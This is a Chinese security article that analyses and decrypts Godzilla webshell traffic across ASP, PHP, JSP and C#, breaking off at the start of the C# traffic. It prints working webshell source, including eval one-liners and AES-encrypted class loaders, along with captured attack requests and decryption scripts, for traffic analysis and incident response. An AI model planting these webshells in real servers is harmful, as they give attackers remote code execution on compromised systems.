【Web实战】哥斯拉全语言流量分析

哥斯拉是继菜刀、蚁剑、冰蝎之后的又一个webshell利器,这里就不过多介绍了。 GitHub地址:https://github.com/BeichenDream/Godzilla 很多一线师傅不太了解其中的加解密手法,无法进行解密,这篇文章介绍了解密的方式方法,主要补全了网上缺少的ASP流量分析、PHP解密脚本和C#解密脚本。

哥斯拉是继菜刀、蚁剑、冰蝎之后的又一个webshell利器,这里就不过多介绍了。
GitHub地址:https://github.com/BeichenDream/Godzilla
很多一线师傅不太了解其中的加解密手法,无法进行解密,这篇文章介绍了解密的方式方法,主要补全了网上缺少的ASP流量分析、PHP解密脚本和C#解密脚本。

我们开始吧。

ASP

生成选择,有效载荷:AspDynameicPayload,加密器:ASP_EVAL_BASE64。会生成如下WEBSHELL:

  1. <%eval request("pass")%>

点击测试连接,会生成两段POST流量,第一段为:

  1. POST /webshell.asp HTTP/1.1
  2. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
  3. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  4. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  5. Host: 192.168.201.136
  6. Connection: keep-alive
  7. Content-type: application/x-www-form-urlencoded
  8. Content-Length: 26290
  9. pass=eval%28%22Ex%22%26c......kIEZ1bmN0aW9u
  10. HTTP/1.1 200 OK
  11. Cache-Control: private
  12. Content-Type: text/html
  13. Server: Microsoft-IIS/10.0
  14. Set-Cookie: ASPSESSIONIDQAACSTCQ=DADFNONAEJDDOAOBNENOFIKJ; path=/
  15. Date: Thu, 07 Sep 2023 12:11:37 GMT
  16. Content-Length: 0

第二段为:

  1. POST /webshell.asp HTTP/1.1
  2. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
  3. Cookie: ASPSESSIONIDQAACSTCQ=DADFNONAEJDDOAOBNENOFIKJ;
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Host: 192.168.201.136
  7. Connection: keep-alive
  8. Content-type: application/x-www-form-urlencoded
  9. Content-Length: 4104
  10. pass=eval%28%22Ex%22%26cHr......AAAAdGVzdA%3D%3D
  11. HTTP/1.1 200 OK
  12. Cache-Control: private
  13. Content-Type: text/html
  14. Server: Microsoft-IIS/10.0
  15. Date: Thu, 07 Sep 2023 12:11:41 GMT
  16. Content-Length: 16
  17. 828130b2s=20ebbc

两段流量形式相同,我们先看第一段。

将请求头URL解码,得到如下内容:

  1. pass=eval("Ex"&amp;cHr(101)&amp;"cute(""Server.ScriptTimeout=3600:On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&amp;chr(&amp;H""""&amp;c&amp;"""")""""):Else:Execute(""""bd=bd&amp;chr(&amp;H""""&amp;c&amp;Mid(s,i+2,2)&amp;"""")""""):i=i+2:End If""&amp;chr(10)&amp;""Next:End Function:Ex"&amp;cHr(101)&amp;"cute(""""On Error Resume Next:""""&amp;bd(""""0d0a536574206279......340d0a0d0a"""")):Response.End"")")
  2. &amp;key=U2V0IFBhcmFtZXRl......

首先是传递pass参数,参数中确定了服务超时时间,另外定义了一个函数bd,主要用来解析十六进制值来构建一个字符串。最后跟随一个key字符,目前尚不明确它的作用。

看完之后我们就知道了如何对内容进行解码了:对其中bd函数引入的字符串进行16进制转10进制解码,得到如下内容:

  1. Set bypassDictionary = Server.CreateObject("Scripting.Dictionary")
  2. Function Base64Decode(ByVal vCode)
  3. Dim oXML, oNode
  4. Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
  5. Set oNode = oXML.CreateElement("base64")
  6. oNode.dataType = "bin.base64"
  7. oNode.text = vCode
  8. Base64Decode = oNode.nodeTypedValue
  9. Set oNode = Nothing
  10. Set oXML = Nothing
  11. End Function
  12. Function decryption(content,isBin)
  13. dim size,i,result,keySize
  14. keySize = len(key)
  15. Set BinaryStream = CreateObject("ADODB.Stream")
  16. BinaryStream.CharSet = "iso-8859-1"
  17. BinaryStream.Type = 2
  18. BinaryStream.Open
  19. if IsArray(content) then
  20. size=UBound(content)+1
  21. For i=1 To size
  22. BinaryStream.WriteText chrw(ascb(midb(content,i,1)))
  23. Next
  24. end if
  25. BinaryStream.Position = 0
  26. if isBin then
  27. BinaryStream.Type = 1
  28. decryption=BinaryStream.Read()
  29. else
  30. decryption=BinaryStream.ReadText()
  31. end if
  32. End Function
  33. content=request.Form("key")
  34. if not IsEmpty(content) then
  35. if IsEmpty(Session("payload")) then
  36. content=decryption(Base64Decode(content),false)
  37. Session("payload")=content
  38. response.End
  39. else
  40. content=Base64Decode(content)
  41. bypassDictionary.Add "payload",Session("payload")
  42. Execute(bypassDictionary("payload"))
  43. result=run(content)
  44. response.Write("828130")
  45. if not IsEmpty(result) then
  46. response.Write Base64Encode(decryption(result,true))
  47. end if
  48. response.Write("20ebbc")
  49. end if
  50. end if

可以看到这是一段VBS代码,代码主要作用是处理来自客户端的 POST 请求数据。

函数Base64Decode用于将 Base64 编码的字符串解码为二进制数据。

函数decryption共有两个参数,第一个:content为字符串,第二个:isBin为布尔值。如果isBin为真,则返回content的二进制数据,如果isBin为假,则返回content文本数据。

接下来是处理POST请求的内容,首先读取请求中的key值,将其存储在content中。接下来检查Session(“payload”)是否为空,若为空,表示第一次请求,则将content进行base64解码后存储在Session(“payload”)中;若不为空,则将content进行base64解码后存储在bypassDictionary字典中,键名为payload。随后利用Execute函数执行Session(“payload”)内容,随后利用run函数执行content内容,将返回结果base64编码,并前后分别拼接828130与20ebbc。

总的来说,可以简化为执行key中的内容,并返回拥有前后6位混淆的base64编码结果。

随后我们解码key值,从代码可以看到是对其进行了base64解码,解码后得到如下代码:

  1. Set Parameters=Server.CreateObject("Scripting.Dictionary")
  2. Function Base64Encode(sText)
  3. Dim oXML, oNode
  4. if IsEmpty(sText) or IsNull(sText) then
  5. Base64Encode=""
  6. else
  7. Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
  8. Set oNode = oXML.CreateElement("base64")
  9. oNode.dataType = "bin.base64"
  10. If IsArray(sText) Then
  11. ......
  12. ......
  13. ......
  14. end if
  15. if IsEmpty(run) then
  16. run="no result"
  17. end if
  18. if Err then
  19. run=run&amp;chr(10)&amp;Err.Description
  20. end if
  21. if not IsArray(run) then
  22. run = Stream_StringToBinary(run)
  23. end if
  24. End Function

这个代码就是一个典型的哥斯拉命令执行代码了,这里不做分析。

根据刚刚的逻辑,因为是第一次请求,没有历史Session(“payload”),请求随之结束。

接下来是第二段,除key值外,其他内容一样,base64解码得到:

  1. methodName test

根据刚刚的逻辑,因为不是第一次请求了,所以执行key中的内容,即执行哥斯拉命令执行代码中的test函数:

  1. Function test()
  2. test="ok"
  3. End Function

第二段流量的响应体为:

  1. 828130b2s=20ebbc

根据代码逻辑,删除前后混淆字符,进行base64解码,得到:

  1. ok

表示测试连接成功。添加后右键进入目标,会产生如下流量:

  1. POST /webshell.asp HTTP/1.1
  2. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
  3. Cookie: ASPSESSIONIDQAACSTCQ=FADFNONAFLFLMHEDNHIFHKML;
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Host: 192.168.201.136
  7. Connection: keep-alive
  8. Content-type: application/x-www-form-urlencoded
  9. Content-Length: 4116
  10. pass=eval%28%22Ex%22%26cHr......mFtZQINAAAAZ2V0QmFzaWNzSW5mbw%3D%3D
  11. HTTP/1.1 200 OK
  12. Cache-Control: private
  13. Content-Type: text/html
  14. Server: Microsoft-IIS/10.0
  15. Date: Thu, 07 Sep 2023 12:12:04 GMT
  16. Content-Length: 4728
  17. 828130Q3VycmVudERpc......wYQo=20ebbc

解码方式与上面相同,请求体先进行url解码后,key字段进行base64解码;响应体去除前后字段就行base64解码,得到key值为:

  1. methodName getBasicsInfo

响应体为:

  1. CurrentDir : C:\inetpub\wwwroot\
  2. OsInfo : Windows_NT
  3. CurrentUser :
  4. FileRoot : C:/;D:/;
  5. scriptengine : VBScript/5.8.16384
  6. systemTime : 2023/9/7 20:12:04
  7. ComSpec=%SystemRoot%\system32\cmd.exe
  8. DriverData=C:\Windows\System32\Drivers\DriverData
  9. OS=Windows_NT
  10. ......
  11. ......
  12. ......
  13. WinDir : C:\Windows
  14. ComSpec : C:\Windows\system32\cmd.exe
  15. TEMP : C:\Windows\TEMP
  16. TMP : C:\Windows\TEMP
  17. NUMBER_OF_PROCESSORS : 2
  18. OS : Windows_NT
  19. Os2LibPath : %Os2LibPath%
  20. PATHEXT : .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
  21. PROCESSOR_ARCHITECTURE : AMD64
  22. PROCESSOR_IDENTIFIER : Intel64 Family 6 Model 158 Stepping 10, GenuineIntel
  23. PROCESSOR_LEVEL : 6
  24. PROCESSOR_REVISION : 9e0a

即运行哥斯拉命令执行代码中的getBasicsInfo函数得到的系统基本信息。

总结一下:哥斯拉ASP马在测试连接阶段会上传命令执行代码,之后每次利用时在key字段中携带指令执行命令执行代码中的函数。解码方式为:请求体先进行url解码后,db函数字段为16进制转10进制,key字段进行base64解码;响应体去除前后字段就行base64解码。

PHP

生成选择,有效载荷:PhpDynameicPayload,加密器:PHP_EVAL_XOR_BASE64。会生成如下WEBSHELL:

  1. <?php
  2. eval($_POST["pass"]);

点击测试连接,会生成两段POST流量,第一段为:

  1. POST /webshell.php HTTP/1.1
  2. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
  3. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  4. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  5. Host: 192.168.201.129
  6. Connection: keep-alive
  7. Content-type: application/x-www-form-urlencoded
  8. Content-Length: 53767
  9. pass=eval%28base64_decode%28strr......RVEaQgBDWTVrRG47
  10. HTTP/1.1 200 OK
  11. Date: Wed, 13 Sep 2023 06:54:01 GMT
  12. Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
  13. X-Powered-By: PHP/5.4.45
  14. Set-Cookie: PHPSESSID=cvi7n0pjqj9tfm9c779ga7jni3; path=/
  15. Expires: Thu, 19 Nov 1981 08:52:00 GMT
  16. Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  17. Pragma: no-cache
  18. Content-Length: 0
  19. Keep-Alive: timeout=5, max=100
  20. Connection: Keep-Alive
  21. Content-Type: text/html

第二段为:

  1. POST /webshell.php HTTP/1.1
  2. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
  3. Cookie: PHPSESSID=cvi7n0pjqj9tfm9c779ga7jni3;
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Host: 192.168.201.129
  7. Connection: keep-alive
  8. Content-type: application/x-www-form-urlencoded
  9. Content-Length: 1263
  10. pass=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&amp;key=DlMRWA1cL1gOVDc2MjRhRwZFEQ%3D%3D
  11. HTTP/1.1 200 OK
  12. Date: Wed, 13 Sep 2023 06:54:01 GMT
  13. Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
  14. X-Powered-By: PHP/5.4.45
  15. Expires: Thu, 19 Nov 1981 08:52:00 GMT
  16. Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  17. Pragma: no-cache
  18. Set-Cookie: PHPSESSID=cvi7n0pjqj9tfm9c779ga7jni3; path=/
  19. Content-Length: 64
  20. Keep-Alive: timeout=5, max=99
  21. Connection: Keep-Alive
  22. Content-Type: text/html
  23. 72a9c691ccdaab98fL1tMGI4YTljOv79NDQm7r9PZzBiOA==b4c4e1f6ddd2a488

两段流量形式相同,我们先看第一段。

将请求头URL解码,得到如下内容:

  1. pass=eval(base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9......FGdz9lbvl2czV2cApQD'))));
  2. &amp;key=R0YEQgNVBE0GQ0YPU0YTUhoeTAtvMkVmMH......

可以看到pass字段明确写出了解码顺序:先URL解码,然后反转字符串,然后BASE64解码。操作之后得到如下代码:

  1. @session_start();
  2. @set_time_limit(0);
  3. @error_reporting(0);
  4. function encode($D,$K){
  5. for($i=0;$i<strlen($D);$i++) {
  6. $c = $K[$i+1&amp;15];
  7. $D[$i] = $D[$i]^$c;
  8. }
  9. return $D;
  10. }
  11. $pass='key';
  12. $payloadName='payload';
  13. $key='3c6e0b8a9c15224a';
  14. if (isset($_POST[$pass])){
  15. $data=encode(base64_decode($_POST[$pass]),$key);
  16. if (isset($_SESSION[$payloadName])){
  17. $payload=encode($_SESSION[$payloadName],$key);
  18. if (strpos($payload,"getBasicsInfo")===false){
  19. $payload=encode($payload,$key);
  20. }
  21. eval($payload);
  22. echo substr(md5($pass.$key),0,16);
  23. echo base64_encode(encode(@run($data),$key));
  24. echo substr(md5($pass.$key),16);
  25. }else{
  26. if (strpos($data,"getBasicsInfo")!==false){
  27. $_SESSION[$payloadName]=encode($data,$key);
  28. }
  29. }
  30. }

编写一个简单的脚本来解码key。

  1. import base64
  2. import gzip
  3. def XOR(D, K):
  4. result = []
  5. for i in range(len(D)):
  6. c = K[i + 1 &amp; 15]
  7. if not isinstance(D[i], int):
  8. d = ord(D[i])
  9. else:
  10. d = D[i]
  11. result.append(d ^ ord(c))
  12. return b''.join([i.to_bytes(1, byteorder='big') for i in result])
  13. if __name__ == '__main__':
  14. text = "R0YEQgN......EaQgBDWTVrRG47"
  15. key = "3c6e0b8a9c15224a"
  16. request = XOR(base64.b64decode(text), key)
  17. # response = gzip.decompress(XOR(base64.b64decode(text), key))
  18. print(request)
  19. # print(response)

得到如下代码:

  1. $parameters=array();
  2. $_SES=array();
  3. function run($pms){
  4. global $ERRMSG;
  5. reDefSystemFunc();
  6. $_SES=&amp;getSession();
  7. @session_start();
  8. $sessioId=md5(session_id());
  9. if (isset($_SESSION[$sessioId])){
  10. $_SES=unserialize((S1MiwYYr(base64Decode($_SESSION[$sessioId],$sessioId),$sessioId)));
  11. }
  12. @session_write_close();
  13. if (canCallGzipDecode()==1&amp;&amp;@isGzipStream($pms)){
  14. $pms=gzdecode($pms);
  15. }
  16. formatParameter($pms);
  17. if (isset($_SES["bypass_open_basedir"])&amp;&amp;$_SES["bypass_open_basedir"]==true){
  18. @bypass_open_basedir();
  19. }
  20. if (function_existsEx("set_error_handler")){
  21. @set_error_handler("payloadErrorHandler");
  22. }
  23. if (function_existsEx("set_exception_handler")){
  24. @set_exception_handler("payloadExceptionHandler");
  25. }
  26. $result=@evalFunc();
  27. ......
  28. ......
  29. ......
  30. function isGzipStream($bin){
  31. if (strlen($bin)>=2){
  32. $bin=substr($bin,0,2);
  33. $strInfo = @unpack("C2chars", $bin);
  34. $typeCode = intval($strInfo[\'chars1\'].$strInfo[\'chars2\']);
  35. switch ($typeCode) {
  36. case 31139:
  37. return true;
  38. default:
  39. return false;
  40. }
  41. }else{
  42. return false;
  43. }
  44. }
  45. function getBytes($string) {
  46. $bytes = array();
  47. for($i = 0; $i < strlen($string); $i++){
  48. array_push($bytes,ord($string[$i]));
  49. }
  50. return $bytes;
  51. }

代码太长了,这里截了头和尾,其实又是一个典型的哥斯拉命令执行代码。

接下来看第二段。

请求头只有key值不一样,再次通过上面的代码解码,得到:

  1. methodName\x02\x04\x00\x00\x00test

可以看到是要执行上面代码中的test函数。该函数的内容为:

  1. function test(){
  2. return "ok";
  3. }

响应体为:

  1. 72a9c691ccdaab98fL1tMGI4YTljOv79NDQm7r9PZzBiOA==b4c4e1f6ddd2a488

根据代码可以看到存在前后16位的混淆MD5加密值,删除后同样用上面的代码解码,得到:

  1. ok

JSP

生成选择,有效载荷:JavaDynameicPayload,加密器:JAVA_AES_BASE64。会生成如下WEBSHELL:

  1. <%! String xc = "3c6e0b8a9c15224a";//这里传进来的密钥已经是 之前生成的时候输入的密钥的 md5值前16位,md5(123456)(0,16)
  2. String pass = "pass";
  3. String md5 = md5(pass + xc);
  4. class X extends ClassLoader {
  5. public X(ClassLoader z) {
  6. super(z);
  7. }
  8. public Class Q(byte[] cb) {
  9. return super.defineClass(cb, 0, cb.length);//和冰蝎一样,使用的是defineClass方法加载Class字节码文件
  10. }
  11. }
  12. //x函数为AES加解密函数,m为true加密,m为false,解密,密钥使用的是xc参数(即生成的时候输入的密钥的md5值前16位)
  13. public byte[] x(byte[] s, boolean m) {
  14. try {
  15. javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
  16. c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
  17. return c.doFinal(s);
  18. } catch (Exception e) {
  19. return null;
  20. }
  21. }
  22. //计算md5取前16位并统一大小写,转为大写
  23. public static String md5(String s) {
  24. String ret = null;
  25. try {
  26. java.security.MessageDigest m;
  27. m = java.security.MessageDigest.getInstance("MD5");
  28. m.update(s.getBytes(), 0, s.length());
  29. ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
  30. } catch (Exception e) {
  31. }
  32. return ret;
  33. }
  34. //反射方式调用base64对bs进行编码,做了一个兼容,java.util.Base64是jdk8才引入的
  35. public static String base64Encode(byte[] bs) throws Exception {
  36. Class base64;
  37. String value = null;
  38. try {
  39. base64 = Class.forName("java.util.Base64");
  40. Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
  41. value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
  42. } catch (Exception e) {
  43. try {
  44. base64 = Class.forName("sun.misc.BASE64Encoder");
  45. Object Encoder = base64.newInstance();
  46. value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
  47. } catch (Exception e2) {
  48. }
  49. }
  50. return value;
  51. }
  52. //反射方式调用base64对bs进行解码
  53. public static byte[] base64Decode(String bs) throws Exception {
  54. Class base64;
  55. byte[] value = null;
  56. try {
  57. base64 = Class.forName("java.util.Base64");
  58. Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
  59. value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
  60. } catch (Exception e) {
  61. try {
  62. base64 = Class.forName("sun.misc.BASE64Decoder");
  63. Object decoder = base64.newInstance();
  64. value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
  65. } catch (Exception e2) {
  66. }
  67. }
  68. return value;
  69. }
  70. %>
  71. <%
  72. try {
  73. byte[] data = base64Decode(request.getParameter(pass));//获取请求体中密码参数对应的内容并base64解码
  74. data = x(data, false);//AES解密
  75. if (session.getAttribute("payload") == null) {
  76. session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));//字节码对象加载进X并置于session中
  77. } else {
  78. request.setAttribute("parameters", data);
  79. java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();//创建一个字节输出流
  80. Object f = ((Class) session.getAttribute("payload")).newInstance();//实例化发过来的class
  81. f.equals(arrOut);//调用重写的equal方法
  82. f.equals(pageContext);//调用重写的equal方法,注意和上面不一样
  83. response.getWriter().write(md5.substring(0, 16));//响应体流量先输出md5(pass + xc)的前16位(大写)
  84. f.toString();//调用重写的toString方法
  85. response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));//执行命令的响应内容加密返回
  86. response.getWriter().write(md5.substring(16));//响应体流量输出md5(pass + xc)的后16位(大写)
  87. }
  88. } catch (Exception e) {
  89. }
  90. %>

点击测试连接,会生成两段POST流量,第一段为:

  1. POST /webshell.jsp HTTP/1.1
  2. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
  3. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  4. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  5. Host: 10.211.55.3:8080
  6. Connection: keep-alive
  7. Content-type: application/x-www-form-urlencoded
  8. Content-Length: 49265
  9. pass=xSzQNih3MLrj0essmirPNTrUPcD0Zwx......Jy1aDkEXNPtzHryUT0fGiLkhQWj0WrsePOtFeCe3eol9LigbmXw%3D%3D
  10. HTTP/1.1 200
  11. Set-Cookie: JSESSIONID=A51936ADD3A8DECC988509D4597DBAD6; Path=/; HttpOnly
  12. Content-Type: text/html
  13. Content-Length: 0
  14. Date: Sun, 08 Oct 2023 03:26:06 GMT

第二段为:

  1. POST /webshell.jsp HTTP/1.1
  2. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
  3. Cookie: JSESSIONID=A51936ADD3A8DECC988509D4597DBAD6;
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Host: 10.211.55.3:8080
  7. Connection: keep-alive
  8. Content-type: application/x-www-form-urlencoded
  9. Content-Length: 73
  10. pass=0mQU%2BS1pFnTz3ttVTnAgJVD%2FaBwD3NNXL3TfTExo1weKu4KAhhCu6Gn1EQfX1m9g
  11. HTTP/1.1 200
  12. Content-Type: text/html;charset=ISO-8859-1
  13. Content-Length: 76
  14. Date: Sun, 08 Oct 2023 03:26:06 GMT
  15. 11CD6A8758984163LF/IpkPvM0iJI4wmpBs2DaoBVvcbDMpwuL7nYS3n/k4=6C37AC826A2A04BC

我们都比较熟练了,看代码,应该对pass字段先URL解码、base64解码,然后AES解密,这里使用CyberChef工具进行解密。

Untitled 1.png

解密后反编译Class文件得到恶意类文件:

  1. package org.apache.coyote.type;
  2. import java.awt.Rectangle;
  3. import java.awt.Robot;
  4. import java.awt.Toolkit;
  5. import java.awt.image.BufferedImage;
  6. import java.io.ByteArrayInputStream;
  7. ......
  8. import java.util.zip.GZIPInputStream;
  9. import java.util.zip.GZIPOutputStream;
  10. import javax.imageio.ImageIO;
  11. public class TypeBindings extends ClassLoader {
  12. public static final char[] toBase64 = new char[]{'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'};
  13. HashMap parameterMap = new HashMap();
  14. HashMap sessionMap;
  15. Object servletContext;
  16. Object servletRequest;
  17. Object httpSession;
  18. byte[] requestData;
  19. ByteArrayOutputStream outputStream;
  20. public TypeBindings() {
  21. }
  22. ......
  23. ......
  24. ......
  25. if (shiftto == 6) {
  26. dst[dp++] = (byte)(bits >> 16);
  27. } else if (shiftto == 0) {
  28. dst[dp++] = (byte)(bits >> 16);
  29. dst[dp++] = (byte)(bits >> 8);
  30. } else if (shiftto == 12) {
  31. throw new IllegalArgumentException("Last unit does not have enough valid bits");
  32. }
  33. if (dp != dst.length) {
  34. byte[] arrayOfByte = new byte[dp];
  35. System.arraycopy(dst, 0, arrayOfByte, 0, Math.min(dst.length, dp));
  36. dst = arrayOfByte;
  37. }
  38. return dst;
  39. }
  40. }
  41. }

又是一个典型的哥斯拉命令执行代码。

接下来看第二段,对请求体解密:

Untitled 2.png

得出:

  1. methodName test

即执行test函数,函数内容为:

  1. public byte[] test() {
  2. return "ok".getBytes();
  3. }

对响应体解密:

Untitled 3.png

去除前后16位的混淆字节,解码得到:

  1. ok

CSHAP

生成选择,有效载荷:CshapDynamicPayload,加密器:CSHAP_AES_BASE64。会生成如下WEBSHELL:

  1. <%@ Page Language="C#" %>
  2. <%
  3. try
  4. {
  5. string key = "3c6e0b8a9c15224a";
  6. string pass = "pass";
  7. string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider()
  8. .ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", "");
  9. byte[] data = System.Convert.FromBase64String(Context.Request[pass]);
  10. data = new System.Security.Cryptography.RijndaelManaged()
  11. .CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length);
  12. if (Context.Session["payload"] == null)
  13. {
  14. Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly)
  15. .GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data });
  16. }
  17. else
  18. {
  19. System.IO.MemoryStream outStream = new System.IO.MemoryStream();
  20. object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY");
  21. o.Equals(Context);
  22. o.Equals(outStream);
  23. o.Equals(data);
  24. o.ToString();
  25. byte[] r = outStream.ToArray();
  26. Context.Response.Write(md5.Substring(0, 16));
  27. Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged()
  28. .CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length)));
  29. Context.Response.Write(md5.Substring(16));
  30. }
  31. }
  32. catch (System.Exception){ }
  33. %>

点击测试连接,会生成如下两段流量。

第一段为:

  1. POST /About HTTP/1.1
  2. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
  3. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  4. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  5. Host: localhost:56956
  6. Connection: keep-alive
  7. Content-type: application/x-www-form-urlencoded
  8. Content-Length: 29045
  9. pass=N7NGXwlJOU3......C7x2%2FnPekpLuE1J
  10. HTTP/1.1 200 OK
  11. Cache-Control: private
  12. Content-Type: text/html
  13. Server: Microsoft-IIS/10.0
  14. Set-Cookie: ASP.NET_SessionId=u4egxprswvkb0t1uectw2foi; path=/; HttpOnly; SameSite=Lax
  15. X-AspNet-Version: 4.0.30319
  16. X-SourceFiles: =?UTF-8?B?QzpcVXNlcnNcNTkzMDJcc291cmNlXHJlcG9zXFdlYlNpdGUyXEFib3V0?=
  17. X-Powered-By: ASP.NET
  18. Date: Tue, 31 Oct 2023 09:48:57 GMT
  19. Content-Length: 0

第二段为:

  1. POST /About HTTP/1.1
